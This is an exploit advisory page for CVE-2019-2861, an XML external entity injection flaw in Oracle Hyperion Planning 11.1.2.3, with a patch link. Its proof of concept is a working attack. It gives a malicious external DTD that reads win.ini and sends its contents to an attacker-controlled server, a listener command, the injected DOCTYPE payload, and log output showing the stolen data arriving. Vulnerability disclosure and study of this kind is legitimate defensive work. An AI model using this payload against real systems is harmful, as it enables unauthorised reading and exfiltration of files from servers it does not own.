Oracle Hyperion Planning 11.1.2.3 XML External Entity

2019.07.31
Credit: Lucas Dinucci
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-284


CVSS Base Score: 2.1/10
Impact Subscore: 2.9/10
Exploitability Subscore: 3.9/10
Exploit range: Remote
Attack complexity: High
Authentication: Single time
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

- Exploit Title: XXE Injection Oracle Hyperion - Exploit Author: Lucas Dinucci (idntk.lucdin@gmail.com) - Twitter: @identik1t - Vendor Homepage: https://www.oracle.com/applications/performance-management - Date: 02/11/2019 - Affected Product: Oracle Hyperion Enterprise Performance Management System - Version: 11.1.2.3 - CVE: CVE-2019-2861 - Patch: https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html - Vulnerability Type: https://cwe.mitre.org/data/definitions/611.html # XML External Entity (XXE) Injection The event.pt1:pt_region0:1:pc2:fvtbl, event.pt1:pt_region0:1:findBtn1 and oracle.adf.view.rich.monitoring.UserActivityInfo parameters are prone to XXE injection. An authenticated attacker could exploit this vulnerability to disclose internal files using the file URI handler, internal file shares, internal port scanning, remote code execution and denial of service attacks. Path: http://host:19000/calcmgr/faces/cmshell?_adf.ctrl-state=i38w0cig2_4 Parameters: event.pt1:pt_region0:1:pc2:fvtbl, event.pt1:pt_region0:1:findBtn1 and oracle.adf.view.rich.monitoring.UserActivityInfo (POST REQUEST) # Proof-of-concept 1 - Create a file and name it as xxe_poc with the following content, replacing with your server address: <!ENTITY % payload SYSTEM "file:///c:\\Windows\\win.ini"> <!ENTITY % param1 "<!ENTITY &#x25; external SYSTEM 'http://your_server_address/log_xxe?data=%payload;'>"> 2 - Start a webserver to receive the connection, such as: sudo python -m SimpleHTTPServer 80 3 - Place the following payload in one of the vulnerable parameters, replacing with your server address: <!DOCTYPE foo [ <!ENTITY % pe SYSTEM "http://your_server_address/xxe_poc"> %pe; %param1; %external;]><m xmlns="http://oracle.com/richClient/comm"><k v="type"><s>action</s></k></m> 4 - Data retrivial: Serving HTTP on 0.0.0.0 port 8000 ... 192.168.13.1 - - [11/Feb/2019 04:59:47] "GET /xxe_poc HTTP/1.1" 200 - 192.168.13.1 - - [11/Feb/2019 04:59:47] code 404, message File not found 192.168.13.1 - - [11/Feb/2019 04:59:47] "GET /log?data=; HTTP/1.1" 200 -;%20for%2016-bit%20app%20support%20[fonts]%20[extensions]%20[mci%20extensions]%20[files] HTTP/1.1" 400 -


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top